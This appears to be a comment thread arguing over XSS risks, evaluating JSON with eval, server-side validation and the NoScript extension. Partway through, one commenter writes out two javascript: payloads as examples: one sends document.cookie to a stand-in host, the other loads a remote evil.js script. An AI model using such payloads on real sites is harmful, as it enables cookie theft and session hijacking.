That’s my point. On a properly-designed web application, you assume that every piece of user data is corrupt, meaning that you won’t be subject to the various scripting exploits.

You are apparently approaching this from the angle of browsing. I’m approaching it from the angle of server security. If I get a little bit more spam because some site nicked my e-mail address in a XSS exploit… whatever. If someone uses cURL to inject JavaScript into my database and replace my form login action with their own and then passes it back to my server so the user is unaware anything happened, then we have a problem. And on the sites where I do anything of consequence, I trust them to be compentent enough to avoid that, because it’s their reputation on the line.

> go read up on some of the rudimentary XSS exploits and
> i can assure you that you will be running noscript too.

I’m well aware of XSS, thanks.

javascript:document.location=”http://www.example.com?c=”+document.cookie

OMG I STOLE YOUR COOKIES!!!

or maybe even something simple like:

javascript:node = document.createNode(“script”); node.src = “http://example.com/evil.js”; document.body.appendChild(node);

You can’t rely on javascript to secure ANYTHING, JSON, XML, or not.

JSON is a really convenient way to transfer data. Tons of getElementsByTagName() type of queries are just annoying. If users are able to manipulate the data that you’re calling eval on some how, then they’re most certainly going to be able to do the above.

and use can use xpath on xml once it is appended to the dom (which happens much faster than iterating over an eval’d json struct).

i am using noscript, so i am not disabling javascript globally. even this site is invoking foreign js. is measuremap trustworthy? maybe, but until i know for sure (and until they provide me with functionality that benefits ME), they are disabled. go read up on some of the rudimentary XSS exploits and i can assure you that you will be running noscript too.

Feel free to explain how to perform an injection attack with a JSON-based RPC in a properly-designed application, because I would be interested to hear it.